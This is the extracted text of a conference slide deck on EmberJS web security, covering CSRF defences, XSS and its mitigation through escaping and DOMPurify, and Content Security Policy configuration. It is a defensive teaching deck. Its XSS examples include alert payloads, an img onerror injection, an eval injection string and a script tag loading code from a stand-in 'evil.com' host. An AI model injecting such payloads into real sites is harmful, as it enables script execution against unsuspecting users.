securing your emberjs application

Securing your EmberJS ApplicationPhilippe De Ryck

Acknowledgements

Aad Versteden @

About Me – Philippe De Ryck

2

§ Postdoctoral Researcher @ DistriNet (KU Leuven)§ Focus on (client-side) Web security

§ Responsible for the Web Security training program§ Dissemination of knowledge and research results§ Target audiences include industry and researchers

§ Main author of the Primer on Client-Side Web Security§ 7 attacker models, broken down in 10 capabilities§ 13 attacks and their countermeasures§ Overview of security best practices

iMinds-DistriNet, KU Leuven

3

§ Headcount:§ 10 professors§ 65 researchers

§ Research Domains§ Secure Software§ Distributed Software

§ Part of the iMinds Security Department§ Together with COSIC and ICRI

§ Academic and industrial collaboration in 30+ national and European projects

https://distrinet.cs.kuleuven.be

Traditional Web Applications

4

POST newItem.phpDescription:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview

30/03/2015CookingB-day party

Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New

<html>…

</html>


5

POST newItem.phpDescription:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview


Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New

<html>…

</html>


6

GET sortBy?col=Task

Description:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

25/02/2015

Overview


Parse request

Store data

Retrieve all data

Generate HTML

Send response

Deadline Task

Add New Sorting API

25/02/201530/03/2015

CookingB-day party

Deadline Task

<table>…

</table>

Single Page Applications

7

POST /items/Description:

Deadline:

Add to List

Create New Task

Cooking

25/02/2015

Parse request

Store data

Send response

25/02/2015

Overview


Deadline Task

Add New

25/02/201530/03/2015

CookingB-day party

Deadline Task

OK

Single Page Application Architecture

8

API

Client-Enforced Security Policies

Storage BackendClient-Side Application

Server-Controlled Security Policies

Client-Side Data Storage

Session Data

Static Application Files

Default Browser Security Policies

API


Storage BackendStatic Application

Files

JavaScript APIs


9

API





Session Data



API



Files

JavaScript APIs


10

API





Session Data



API



Files

JavaScript APIs


11

API





Session Data



API



Files

JavaScript APIs

Cookie Security flags

X-Frame-Options

Content Security Policy

Cross-Origin Resource Sharing

HTTP Strict Transport Security

HTTP Public Key Pinning

Subresource Integrity

…

Threats against Modern Web Applications

12

API





Session Data



API



Files

JavaScript APIs

Web Security has Become Complex

13http://arstechnica.com/security/2015/04/no-joke-googles-april-fools-prank-inadvertently-broke-sites-security/

Web Security has Become Complex

14http://arstechnica.com/security/2015/04/match-coms-http-only-login-page-puts-millions-of-passwords-at-risk/

Client-Side Web Security

15

§ Browser security policies govern client-side behavior§ Default policies apply to all applications running in the browser§ Same-origin policy restricts interactions within the browser§ Depended upon by numerous countermeasures

§ Modern client-side security policies are server-driven§ Tailored towards a specific web application§ Prevent unauthorized actions within the browser§ Often preceded by autonomous client-side countermeasures

The Web Security Landscape

16

Overview

17

§ Cross-Site Request Forgery§ Technicalities and common countermeasures§ Mitigating CSRF in EmberJS applications

§ Cross-Site Scripting§ What is it and why should I care?§ XSS Protection in EmberJS

§ Content Security Policy§ CSP, a second line of defense against injection attacks§ Keeping tabs on your CSP deployment§ EmberJS and CSP in practice

Overview

18




Cross-Site Request Forgery Illustrated

19

some-shop.com

hackedblog.com

Login as PhilippeHello PhilippeShow orders

List of orders

Show latest blog postLatest blog post

Change email addressSure thing, Philippe

The Essence of CSRF

20

§ The server is confused about the intentions of the user§ Malicious sites can trigger unintended requests from the browser§ Consequence of the ambient authority carried by the cookie

§ Common vulnerability§ Illustrated by cases at Google, Facebook, eBay, …§ Ranked #8 on OWASP top 10 (2013)

§ Countermeasures require explicit action by the developer§ Often only focus on POST / PUT / DELETE

CSRF Examples

21http://news.softpedia.com/news/CSRF-Vulnerability-in-eBay-Allows-Hackers-to-Hijack-User-Accounts-Video-383316.shtml

CSRF Examples

22https://threatpost.com/pharming-attack-targets-home-router-dns-settings/111326http://arstechnica.com/security/2014/03/hackers-hijack-300000-plus-wireless-routers-make-malicious-changes/

CSRF Defense 1: HTML tokens

23

§ Hide token within the page, and check upon form submission§ Same-Origin Policy keeps this token out of reach for the attacker

some-shop.com

hackedblog.com

Account details pageAccount details

Change email addressSure thing, Philippe


Change email addressCSRF token sadness L

CSRF Defense 1: HTML tokens

24

§ Hide token within the page, and check upon form submission§ Same-Origin Policy keeps this token out of reach for the attacker

<form action=“submit.php”><input type=“hidden” name=“token”

value=“qasfj8j12adsjadu2223” />…

</form>

TOKEN-BASEDAPPROACH

CSRF Defense 2: Origin Header

25

§ Check the origin header sent by the browser§ Automatically added to state-changing requests (POST, PUT, DELETE)

some-shop.com

hackedblog.com

Change email addressOrigin: some-shop.com

Sure thing, Philippe


Change email addressOrigin: hackedblog.comStranger danger! L

CSRF Defense 3: Transparent Tokens

26

§ Transparent token stored in cookie, checked in header§ Security depends on the ability to read the cookie from JavaScript

some-shop.com

First request

Set-Cookie: session=…Set-Cookie: CSRF-Token=123

Cookie: session=…Cookie: CSRF-Token=123

Only the JS code on the page can copy cookie value into header

X-CSRF-Token: 123

var csrf = require('csurf');app.use(csrf());app.use("/", function(req, res, next) {

res.cookie('XSRF-TOKEN', req.csrfToken());next();

});

TRANSPARENT TOKENS


27



28


export default {name: "CSRFProtection",initialize() {window.$.ajaxPrefilter(function(options, originalOptions, xhr) {if ( ! options.crossDomain ) {var token = /XSRF-TOKEN=([^;]+)/.exec(document.cookie);if(token) {xhr.setRequestHeader('X-CSRF-Token', token[1]);

}}

})}};

EMBERJS INITIALIZER

What with Authentication Tokens?

29

some-shop.com

hackedblog.com

Login as PhilippeHello PhilippeShow orders

List of orders


Change email addressDude, where’s your token?

What with Authentication Tokens?

30

some-shop.com

hackedblog.com

Login as PhilippeHello PhilippeAuthorization: lakdjq9ajzj22

Show ordersAuthorization: lakdjq9ajzj22

List of orders


Change email addressDude, where’s your token?

Overview

31




Overview

32




Cross-Site Scripting (XSS)

33

§ Injection of attacker-controlled script into victim application§ Very common Web vulnerability§ Ranked #3 in OWASP’s top 10 (2013)§ Referred to as the buffer overflow of the Web

§ Why is XSS such a big deal?§ Attacker can run code with your application’s privileges§ Full access to page’s contents and resources§ Full use of granted permissions§ Launch platform for attack escalation (e.g. malware)

Cross-Site Scripting Example

34

some-shop.com

Show reviewsList of reviews

Add Review

OKAttacker

Victim

Bleh is awesome!<script>

alert(‘haha, NOT’)</script>

Cross-Site Scripting Payloads

35

§ XSS payload is often benign, just to show a proof of exploit

Cross-Site Scripting Payloads

36

§ XSS payload is often benign, just to show a proof of exploit

§ XSS payloads are only limited by your creativity§ Session hijacking§ Defacement§ Undermining defenses (e.g. CSRF)§ Keylogging§ Network scanning§ …

§ Can be used to launch a more elaborate attack

Apache.org Compromise

37

1. Report bug with obscured URL containing reflected XSS attack

http://tinyurl.com/XXXXXXX

2. Admin opens link, compromising their session

3. Attacker disable notifications for a hosted project

4. Attacker changes upload path to location that can execute JSP files

5. Attacker added new bug reports with JSP attachments

6. Attacker browses and copies filesystem through JSP. Installs backdoor JSP with webserver

privileges

http://blogs.apache.org/infra/entry/apache_org_04_09_2010

Apache.org Compromise

38

7. Attacker installs JAR to collect passwords on login

8. Triggered logins by sending out password reset mails

9. One of the passwords matched an SSH account with

full sudo access

10. The accessible machine had user home folders, with cached subversion credentials

11. From the subversion machine, privilege escalation

was unsuccessful

http://blogs.apache.org/infra/entry/apache_org_04_09_2010

Different Types of XSS

39

§ Different types of script injection§ Persistent: stored data used in the response§ Reflected: part of the URI used in the response§ DOM-based: data used by client-side scripts

http://www.example.com/search?q=<script>alert(‘XSS’);</script>

<h1>You searched for<script>alert(‘XSS’);</script></h1>

REFLECTED XSS

Different Types of XSS

40

§ Different types of script injection§ Persistent: stored data used in the response§ Reflected: part of the URI used in the response§ DOM-based: data used by client-side scripts

http://www.example.com/search?name=<script>alert(‘XSS’);</script>

<script>name = document.URL.substring(document.URL.indexOf("name=")+5);document.write(“<h1>Welcome “ + name + “</h1>”);

</script>

<h1>Welcome <script>alert(‘XSS’);</script></h1>

DOM-BASED XSS

Mitigating XSS

41

§ Secure coding practices§ Do not rely on simple filters (e.g. removing <, >, &, “, ‘)§ Use context-sensitive output encoding

• HTML body <h1>DATA</h1>• HTML attributes <div id=‘DATA’>• Stylesheet context body { background-color: DATA; }• Script context alert(“DATA”);• URL context <a href=“http://example.com?arg=DATA”>

§ Additional layers of defense§ Browsers incorporate reflective XSS filters§ Content Security Policy allows servers to prevent inline script execution

Overview

42




XSS and JS MVC Frameworks

43

§ JS MVC frameworks change the underlying architecture§ Highly dynamic front ends, delivered as static application files§ Data-oriented back ends

§ Difficult to match to traditional XSS countermeasures§ Server lacks any context information about the data

§ More security responsibilities for the client-side application§ Protect against injection attacks during data binding

Example: Allowing User-Provided Images

44

<img src=”http://some-shop.com/coolcar.png" />

USER INPUT


RENDERED HTML

{{input type=“text” value=x}}<div>{{x}}</div>

EMBERJS TEMPLATE

Go to StackOverflow

45

And you Find a Solution

46


47


USER INPUT

RENDERED HTML

{{input type=“text” value=x}}<div>{{{x}}}</div>

EMBERJS TEMPLATE


48

<img src=”http://some-shop.com/coolcar.png" onerror=“alert(1)” />

USER INPUT

GENERATEDHTML

{{input type=“text” value=x}}<div>{{{x}}}</div>

EMBERJS TEMPLATE


49

<img src=”http://some-shop.com/coolcar.png" onerror=“alert(1)” />

USER INPUT

GENERATEDHTML

{{input type=“text” value=x}}<div>{{y}}</div>

y: function() { return Ember.String.htmlSafe(this.get(”x")); }.property(”x")

EMBERJS TEMPLATE& CONTROLLER


50

http://some-shop.com/coolcar.png

USER INPUT

GENERATEDHTML

{{input type=“text” value=x}}<div><img src={{x}} /></div>

EMBERJS TEMPLATE

Sanitizing Data in EmberJS

51

§ No built in capabilities to sanitize data§ Use an external sanitization library§ DOMPurify is fast and reliable

{{input type=“text” value=x}}<div>{{sanitize-purify x}}</div>

EMBERJS TEMPLATE

Sanitizing Data in EmberJS

52

import Ember from 'ember';import sanitizer from "../utils/dompurify";

export function sanitizePurify(params/*, hash*/) {var text = params[0];return Ember.String.htmlSafe(sanitizer.sanitize(text || ""))

}

export default Ember.Helper.helper(sanitizePurify);

EMBERJS SANITIZE HELPER

{{input type=“text” value=x}}<div>{{sanitize-purify x}}</div>

EMBERJS TEMPLATE

Data Binding in EmberJS

53

§ {{ }} produces safe, escaped data§ Use this to avoid shooting yourself in the foot§ Use in the correct context, and EmberJS will do the escaping

§ {{{ }}} simply injects raw data, without escaping§ Don’t use this… like … ever

§ Ember.String.htmlSafe(…) marks a string as safe§ Will be injected without escaping, even when using {{ }}§ Only use when you write the static html code yourself

§ Use a sanitizer if you need a selected set of HTML tags§ Allows markup but removes dangerous features

Overview

54




Overview

55




You Know Content Security Policy …

56

The Essence of CSP

57

§ CSP reduces the harm of content injection vulnerabilities§ By telling the client where resources should be loaded from§ By disabling “dangerous features” by default

§ CSP is intended as a second line of defense

§ A policy consists of a set of directives§ Each directive controls a different kind of resource

§ Policy is delivered as an HTTP header by the server§ Compatible browsers will enforce the policy on the response

Introducing CSP by Example

58

<h1>You searched for<script>alert(‘XSS’);</script></h1>

XSS WITH INLINE SCRIPTS

<h1>You searched for<script src=“https://evil.com/hackme.js”></script></h1>

XSS WITH REMOTE SCRIPTS

eval('alert("Your query string was ' + unescape(document.location.search) //hello%22);alert(1+%22 + '");');

XSS WITH EVAL


59

Content-Security-Policy:default-src 'self';

EXAMPLE POLICY

Content-Security-Policy:default-src 'self';script-src ‘self’

https://cdnjs.cloudflare.com;

EXAMPLE POLICY

Content Security Policy

60

§ CSP started as a research paper by the Mozilla team§ Aim to give administrator control over appearance of site§ Aim to give users some confidence where data is sent to§ Even in the presence of an attacker that controls content

§ By default, CSP will:§ Prevent resources from being loaded from non-whitelisted locations§ The use of eval()§ Inline content from being executed• Scripts and styles


61

Content-Security-Policy:default-src 'self';script-src ‘self’

https://cdnjs.cloudflare.com;style-src ‘self’

https://cdnjs.cloudflare.com/…/bootstrap.min.css;

EXAMPLE POLICY

CSP is the Security Policy of the Future

62

§ CSP has been well received, and evolved quickly§ Addition of plugin types, sandbox, child contexts, form destinations§ Additional spec adds UI Security Directives§ Deprecates X-FRAME-OPTIONS header§ Additional features to overcome implementation hurdles

§ Widely supported by browsers

§ Chrome makes CSP mandatory for its components§ Browser extensions and packaged apps

A Quick Overview of CSP’s Directives

63

§ By default, CSP will:§ Prevent resources from being loaded from non-whitelisted locations

§ default-src§ Specifies the default sources of all content§ Can be overwritten with more specific directives for each type

§ img-src, style-src, font-src, child-src, media-src, object-src§ Specifies the sources of these content types

§ connect-src, form-action§ Specifices the destination of these actions

§ Sandbox and frame-ancestors

Lifting Content Restrictions in CSP

64

§ script-src and style-src support the lifting of restrictions§ By specifying ‘unsafe-inline’ and ‘unsafe-eval’§ Not recommended, as this renders protection useless

§ CSP 1.1 supports nonces and hashes§ Inline script and style blocks can be allowed

Content-Security-Policy:script-src ‘self’ ‘nonce-RANDOM’;

EXAMPLE POLICY WITH A NONCE<script nonce=“RANDOM”>…</script>

EXAMPLE USE OF A NONCE

Lifting Content Restrictions in CSP

65

§ script-src and style-src support the lifting of restrictions§ By specifying ‘unsafe-inline’ and ‘unsafe-eval’§ Not recommended, as this renders protection useless

§ CSP 1.1 supports nonces and hashes§ Inline script and style blocks can be allowed

Content-Security-Policy:script-src ‘self’ ‘nonce-a8qzj1r’;

EXAMPLE POLICY WITH A NONCE<script nonce=“a8qzj1r”>…</script>

EXAMPLE USE OF A NONCE

Dynamically Applying Styles without unsafe-inline

66

§ Sometimes, styles need to be applied dynamically from JS§ Triggers CSP warnings, requiring the use of unsafe-inline for styles

Dynamically Applying Styles without unsafe-inline

67

§ Sometimes, styles need to be applied dynamically from JS§ Triggers CSP warnings, requiring the use of unsafe-inline for styles

§ Fixed by using DOM manipulation§ Not inline style, because this can not be injected directly§ Would require a script injection attack first, which CSP also covers

CSP Examples

68

Goal: Load no external resources

Content-Security-Policy:default-src ‘self’;

EXAMPLE POLICY

Goal: Load all content over HTTPS

Content-Security-Policy:default-src https: ‘unsafe-inline’ ‘unsafe-eval’;

EXAMPLE POLICY

Overview

69




CSP Violation Reports

70

§ CSP can report violations back to the resource server§ Allows for fine-tuning of the CSP policy§ Gives insights in actual attacks

§ Enabled by using the report-uri directive§ Points to a handler on the server that can process reports

Content-Security-Policy:default-src 'self'; report-uri http://some-shop.com/csp-report.cgi

EXAMPLE POLICY

CSP Violation Report Example

71

{"csp-report": {

"document-uri": "http://some-shop.com/page.html","referrer": "http://attacker.com/haxor.html","blocked-uri": "http://attacker.com/image.png","violated-directive": "default-src 'self'","effective-directive": "img-src","original-policy": "default-src 'self';

report-uri http://some-shop.com/csp-report.cgi"}

}

EXAMPLE VIOLATION REPORT

CSP in Report-Only Mode

72

§ CSP can be deployed in reporting mode§ No content will be blocked§ Warnings will be generated in console§ If report-uri is specified, error reports will be sent

§ Great for trying out policies before deploying them

Content-Security-Policy-Report-Only:default-src 'self'; report-uri http://some-shop.com/csp-report.cgi

REPORT-ONLY POLICY

Overview

73




So We’re Back to This …

74

EmberJS Enables CSP by Default

75

§ Taken care of by ember-cli-content-security-policy§ Also adds unafe-eval in development mode§ Also adds live-reload requirements (not shown here)

Content-Security-Policy-Report-Only:default-src ‘none';script-src ‘self’;font-src ‘self’;img-src ‘self’;style-src ‘self’;media-src ‘self’;connect-src ‘self’ http://0.0.0.0:4200/csp-report;report-uri http://0.0.0.0:4200/csp-report;

EMBERJS DEFAULT CSP POLICY

Updating the EmberJS CSP Policy

76

§ CSP policy can be updated through environment.js

ENV.contentSecurityPolicyHeader = "Content-Security-Policy" ENV.contentSecurityPolicy = {

'default-src': "'none'",'script-src': "'self’ https://",'font-src': "'self'",'connect-src': "'self'",'img-src': "'self'",'style-src': "'self’ https://maxcdn.bootstrapcdn.com",'media-src': "'self'”

}

UPDATING THE EMBERJS CSP POLICY

Overview

77




Overview

78




Action Points for Tomorrow

79

1. Check whether your APIs are vulnerable to CSRF attacks§ Enable CSRF mitigation through transparent tokens

2. Make sure you refrain from using {{{ }}}§ Let EmberJS do its contextual escaping§ Use a sanitizer where necessary

3. Look into your CSP policy§ Try to get rid of the unsafe-inline and unsafe-eval statements§ Make the policy as strict as possible§ Share your findings!

Getting Single Page Application Security Right

80

Progressive Web Security Training Course

81

§ Hardening your Applications for a Rocky Future§ 4 one-day hands-on sessions

§ We cover 4 important Web security topics1. Why simply deploying HTTPS will not get you an A+ grade

2. How to avoid common pitfalls in authentication and authorization on the Web

3. Why modern security technologies will eradicate XSS

4. Four new browser communication mechanisms, and how they affect your

application

https://distrinet.cs.kuleuven.be/events/

Securing your EmberJS Application

Special thanks to Aad Versteden for his practical EmberJS insights

Acknowledgements

Icons by Visual Pharm (https://icons8.com)

Securing your EmberJS ApplicationPhilippe De Ryck

[email protected]

/in/philippederyck

https://distrinet.cs.kuleuven.be/events/websecurity/

@PhilippeDeRyck

securing your emberjs application

Technology